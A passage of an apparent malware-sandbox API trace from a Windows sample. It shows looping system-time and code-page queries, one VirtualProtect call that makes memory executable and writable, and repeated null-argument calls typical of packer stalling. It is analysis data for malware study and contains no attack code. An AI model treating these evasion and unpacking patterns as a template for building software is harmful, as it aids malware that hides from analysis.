CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.595] GetACP () returned 0x4e4 [0053.595] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.595] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.596] GetACP () returned 0x4e4 [0053.596] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.596] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.597] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.597] GetACP () returned 0x4e4 [0053.597] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.598] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.598] GetACP () returned 0x4e4 [0053.598] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.599] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.599] GetACP () returned 0x4e4 [0053.599] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.600] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.600] GetACP () returned 0x4e4 [0053.600] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.600] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.600] GetACP () returned 0x4e4 [0053.693] VirtualProtect (in: lpAddress=0x5d5ab8, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0053.693] AddAtomA (lpString=0x0) returned 0x0 [0053.693] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.693] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.694] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.694] AddAtomA (lpString=0x0) returned 0x0 [0053.694] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.695] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.695] AddAtomA (lpString=0x0) returned 0x0 [0053.695] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.696] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.696] AddAtomA (lpString=0x0) returned 0x0 [0053.696] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.697] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.697] AddAtomA (lpString=0x0) returned 0x0 [0053.697] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 